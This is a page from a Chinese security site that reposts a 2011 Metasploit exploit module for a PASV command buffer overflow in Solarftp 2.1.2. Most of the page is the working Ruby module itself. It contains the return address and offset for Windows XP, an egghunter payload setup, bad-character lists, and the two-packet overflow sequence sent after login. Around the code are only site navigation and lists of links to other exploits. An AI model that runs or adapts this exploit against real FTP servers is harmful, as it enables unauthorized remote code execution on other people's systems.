首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Solarftp v2.1.2 PASV buffer overflow msf module
来源:http://www.metasploit.com 作者:Qnix 发布时间:2011-08-22  

# Exploit Title: Solarftp v2.1.2 PASV buffer overflow
# Date: Aug 17, 2011
# Author: qnix
# Software Link: http://solarftp.com/files/solarftps-setup.exe
# Version: 2.1.2
# Tested on: Windows XP Universal
# Detailed info: http://0x80.org/blog/?p=545

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = AverageRanking
 include Msf::Exploit::Remote::Ftp
 include Msf::Exploit::Remote::Egghunter
 
 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'Solarftp 2.1.2 PASV Command Buffer Overflow',
   'Description'    => %q{
    This module exploits a buffer overflow in the PASV command in Solarftp 2.1.2
    You must have valid credentials to trigger this vulnerability. Also, you
    ony get one chance.
   },
   'Author'         => 'qnix',
   'License'        => MSF_LICENSE,
   'References'     =>
    [
     [ 'URL', 'http://0x80.org/blog/?p=545'],
    ],
   'DefaultOptions' =>
    {
     'WfsDelay' => 45,
     'EXITFUNC' => 'thread',
    },
   'Payload'        =>
    {
     'Space'    => 1000,
     'BadChars' => "\x00\x20\x0a\x0d",
     'StackAdjustment'       => -3500,
    },
   'Platform'       => 'win',
   'Targets'        =>
    [
                #1001BD23   . FFE0   JMP EAX  @sfsweb.dll
     [ 'Windows XP Universal',       { 'Ret' => 0x1001BD23, 'Offset' => 195} ],
    ],
   'DisclosureDate' => 'Aug 17 2011',
   'DefaultTarget'  => 0))
 end


 def exploit
  connect_login
  print_status("Trying target #{target.name}")

  print_status("Creating Egg Hunter")
  eggoptions =
  {
  :checksum => true,
  :eggtag   => "W00T"
  }
  hunter,egg = generate_egghunter(payload.encoded,payload_badchars,eggoptions)
  
  fix = "\x11"   # To fix some left overs from uncontrolled buffer
       # to avoid access violation.
  pk1 = make_nops(75)
  pk1 << fix
  pk1 << make_nops(20)
  pk1 << hunter
  pk1 << make_nops((100-fix.length-hunter.length))
  pk1 << [target.ret].pack('V')
  pk1 << egg
  pk1 << make_nops(6631-[target.ret].length-target['Offset']-egg.length)
  print_status("Sending first packet...")
  send_cmd( ["PASV",pk1], false)
  
  pk2 = make_nops(3000)
  print_status("Sending second packet...")
  send_cmd( ["PASV",pk2], false)
  
  handler
  disconnect
 end

end


 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Apache Struts < 2.2.0 Remote C
·Contrexx Shopsystem Blind SQL
·Apache httpd Remote Denial of
·Notepad++ NppFTP plugin LIST c
·HP Easy Printer Care XMLSimple
·F-Secure BlackLight 2.2.1092 L
·Symantec System Center Alert M
·Wine ( Core exe ) GIF Object M
·Symantec System Center Alert M
·Windows Internet Explorer 9.0.
·XlightFTP Server v3.7.0 Remote
·VLC Media Player 1.1.10 The Lu
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved